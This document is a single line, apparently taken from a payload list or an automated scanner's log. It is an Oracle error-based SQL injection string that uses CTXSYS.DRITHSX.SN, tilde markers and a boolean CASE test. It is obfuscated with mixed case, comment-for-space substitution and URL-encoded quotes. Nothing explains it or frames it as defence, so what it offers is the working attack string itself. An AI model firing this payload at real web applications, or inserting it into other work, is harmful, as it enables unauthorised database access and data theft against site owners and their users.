1) AND AnD/**/2545=CtXsYs.DrItHSX.Sn(6413,CHr(126)||%27~%27||(SelecT/**/(caSe/**/wHen/**/(2545=2545)/**/Then/**/1/**/eLSe/**/0/**/end)/**/fRom/**/dual)||%27~%27||chr(126))-- -